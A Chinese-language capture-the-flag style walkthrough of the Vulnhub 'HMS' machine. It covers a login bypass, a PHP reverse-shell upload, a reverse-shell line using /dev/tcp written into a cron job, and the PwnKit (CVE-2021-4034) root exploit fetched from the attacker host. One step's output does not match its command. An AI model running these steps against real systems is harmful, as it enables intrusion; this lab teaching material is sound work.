Vulnhub靶机下载链接:
点我直接下载靶机https://download.vulnhub.com/hms/niveK.ova
如果不会导入Vulnhub上的靶机,请点击我直达发车文章
机器IP配置
- Kali IP:192.168.2.103
- 靶机IP:192.168.2.127
渗透目标
- 获取靶机/root/目录下的flag文件
渗透思路:
- web万能密码登录
- 后台源码审查
- 上传木马文件
- 通过上传的木马文件获取shell
- CVE-2021-4034 或 sudo tar提权
第一步:信息收集
我们这里用nmap -sS -sV -A -T4 -p- IP对靶机进行全端口综合扫描
扫描结果如下
┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -T4 -p- 192.168.2.127
Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-24 20:20 EST
Nmap scan report for 192.168.2.127
Host is up (0.0027s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.2.103
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 3c:fc:ed:dc:9b:b3:24:ff:2e:c3:51:f8:33:20:78:40 (RSA)
| 256 91:5e:81:68:73:68:65:ec:a2:de:27:19:c6:82:86:a9 (ECDSA)
|_ 256 a7:eb:f6:a2:c6:63:54:e1:f5:18:53:fc:c3:e1:b2:28 (ED25519)
7080/tcp open http Apache httpd 2.4.48 ((Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1)
| http-title: Admin Panel
|_Requested resource was login.php
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.48 (Unix) OpenSSL/1.1.1k PHP/7.3.29 mod_perl/2.0.11 Perl/v5.32.1
MAC Address: 08:00:27:42:C8:2B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.16 - 4.6 (97%), Linux 3.2 - 4.9 (97%), Linux 4.4 (97%), Linux 3.13 (94%), Linux 4.2 (92%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (91%), Linux 4.10 (91%), Linux 5.1 (91%), Android 5.0 -t
通过nmap扫描发现开放了ftp/21,ssh/22,http/7080这几个端口,这个版本的ssh没有什么漏洞,所以主要分析ftp和http这两个服务。
第二步:获取服务上的信息
ftp分析:通过匿名用户登录ftp发现目录是空的,切换到更目录也没有东西,这条方向只能先打断
┌──(root㉿kali)-[~]
└─# ftp 192.168.2.127
Connected to 192.168.2.127.
220 (vsFTPd 3.0.3)
Name (192.168.2.127:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||46693|)
150 Here comes the directory listing.
226 Directory send OK.
ftp> cd /
250 Directory successfully changed.
ftp> dir
229 Entering Extended Passive Mode (|||33348|)
150 Here comes the directory listing.
226 Directory send OK.
http分析,先访问http://192.168.2.127:7080/
是一个登录页面,尝试SQL注入万能密码登录,由于这里type限制了输入的格式必须为email,所以我们把这个输入框的type类型给他去掉,即可成功登录。密码随便输入就可以了。如下图
登录管理员页面之后我们Ctrl+u进入源码审核页面,在如下图对应的地方可以找到文件上传点和文件路径,在21行处发现了文件上传路径。如下图
在378行处发现了文件上传的接口。如下图
第三步:开始利用,获取shell
我们在kali输入下面的命令拷贝一份kali自带的php反弹shell并命名为getshell.php
cp /usr/share/webshells/php/php-reverse-shell.php getShell.php
使用mousepad编辑这个拷贝下来的文件,修改监听的IP和端口
这里ip修改为自己的kali(攻击机)的ip即可,端口的话可自定义,这里我就用1234了。如下图
在这里用nc监听1234端口用来接收返回下来的shell。如下图
我们在进入setting.php界面,并且上传我们修改好的getshell.php文件,点击Submit按钮上传
访问http://IP:7080/uploadImage/logo/getshell.php之后nc即可监听到shell,如下图
通过如下命令对终端进行优化
python -c 'import pty;pty.spawn("/bin/bash")'
第四步:提权(两种方式)
- 提权姿势一:获取到eren用户,通过tar命令提权(sudo)
- 提权姿势二:CVE-2021-4034提权
姿势一:获取到eren用户,通过tar命令提权(sudo)
通过如下命令获取具有suid权限的命令,发现了/usr/bin/bash并且所属用户是eren,可以利用这个拿到eren用户的shell
find / -perm -u=s -exec ls -al {} \; 2>/dev/null
#利用/usr/bin/bash获取eren用户的shell
daemon@nivek:/$ /usr/bin/bash -p
#使用whoami命令发现已经是eren用户的shell了
bash-4.3$ whoami
eren
#这里使用sudo -l试一下,发现要求输入deamon的密码,那肯定不行,那我们换一种方式
bash-4.3$ sudo -l
[sudo] password for daemon:
#这里我们看一下crontab里面的计划任务,发现了里面有点东西
#发现有一个以eren用户每隔5分钟执行一次的backup.sh文件
bash-4.3$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
*/5 * * * * eren /home/eren/backup.sh
#我们可以对这个文件写入一个反弹shell命令,然后利用攻击机监听反弹过来的shell如下操作
bash-4.3$ echo 'bash -i >& /dev/tcp/192.168.2.103/1235 0>&1' >> /etc/crontab
#显示backup.sh的内容,发现已经成功写入。
bash-4.3$ cat /home/eren/backup.sh
cat /home/eren/backup.sh
#!/bin/bash
BACKUP_DIR="/home/eren/backups"
tar -zcvpf $BACKUP_DIR/backup.tar.gz /var/www/html
/bin/bash -i >& /dev/tcp/192.168.2.103/1235 0>&1
姿势二:CVE-2021-4034提权
这里的CVE-2021-4034-main.tar.gz文件是在github上下载的zip,因为该靶机没有unzip命令所以就把这个zip文件解压之后重新打包成了tar文件,就可以用靶机的tar命令进行解压
如果Github进不去的话可以直接在本博客下载该文件(免费)
#通过find命令查找suid权限的命令发现polkit-agent-helper-1可利用
daemon@nivek:/$ find / -perm -u=s 2>/dev/null
/bin/ping
/bin/mount
/bin/fusermount
/bin/su
/bin/ping6
/bin/umount
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/newgidmap
/usr/bin/bash
/usr/bin/passwd
/usr/bin/pkexec
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/at
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/sbin/pppd
/opt/lampp/bin/suexec
#这里下载CVE-2021-4034-main.tar.gz提权工具包(这个包在github上面有直接搜索下载即可)
#再通过http的方式传入靶机
daemon@nivek:/tmp/test$ wget http://192.168.2.103:88/CVE-2021-4034-main.tar.gz
<t http://192.168.2.103:88/CVE-2021-4034-main.tar.gz
--2023-11-25 11:08:14-- http://192.168.2.103:88/CVE-2021-4034-main.tar.gz
Connecting to 192.168.2.103:88... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4043 (3.9K) [application/gzip]
Saving to: ‘CVE-2021-4034-main.tar.gz’
CVE-2021-4034-main. 100%[===================>] 3.95K --.-KB/s in 0s
2023-11-25 11:08:14 (831 MB/s) - ‘CVE-2021-4034-main.tar.gz’ saved [4043/4043]
#这里可以看到已经下载到当前目录了
daemon@nivek:/tmp/test$ ls
CVE-2021-4034-main.tar.gz
#解压这个压缩包
daemon@nivek:/tmp/test$ tar -xzvf CVE-2021-4034-main.tar.gz
tar -xzvf CVE-2021-4034-main.tar.gz
./CVE-2021-4034-main/
./CVE-2021-4034-main/cve-2021-4034.sh
./CVE-2021-4034-main/dry-run/
./CVE-2021-4034-main/dry-run/Makefile
./CVE-2021-4034-main/dry-run/pwnkit-dry-run.c
./CVE-2021-4034-main/dry-run/dry-run-cve-2021-4034.c
./CVE-2021-4034-main/LICENSE
./CVE-2021-4034-main/.gitignore
./CVE-2021-4034-main/Makefile
./CVE-2021-4034-main/README.md
./CVE-2021-4034-main/pwnkit.c
./CVE-2021-4034-main/cve-2021-4034.c
#进入解压好的文件夹
daemon@nivek:/tmp/test$ cd CVE-2021-4034-main
#查看当前目录的文件
daemon@nivek:/tmp/test/CVE-2021-4034-main$ ls
cve-2021-4034.c dry-run Makefile README.md
cve-2021-4034.sh LICENSE pwnkit.c
#使用make命令对其打包生成可执行文件
daemon@nivek:/tmp/test/CVE-2021-4034-main$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /bin/true GCONV_PATH=./pwnkit.so:.
#ls看一下,发现已经生成了可执行文件cve-2021-4034
daemon@nivek:/tmp/test/CVE-2021-4034-main$ ls
cve-2021-4034 dry-run LICENSE pwnkit.so
cve-2021-4034.c gconv-modules Makefile README.md
cve-2021-4034.sh GCONV_PATH=. pwnkit.c
#我们再这里运行一下这个可执行文件,发现已经拿到了root的shell了
daemon@nivek:/tmp/test/CVE-2021-4034-main$ ./cve-2021-4034
./cve-2021-4034
使用python命令对终端进行优化
# python -c 'import pty;pty.spawn("/bin/bash")'
#获取到了优化后的终端,前往root家目录
root@nivek:/tmp/test/CVE-2021-4034-main# cd /root/
root@nivek:/root# ls
Desktop Downloads Pictures Templates root.txt
Documents Music Public Videos
#查看root.txt文件即拿到flag
root@nivek:/root# cat root.txt
299c10117c1940f21b70a391ca125c5d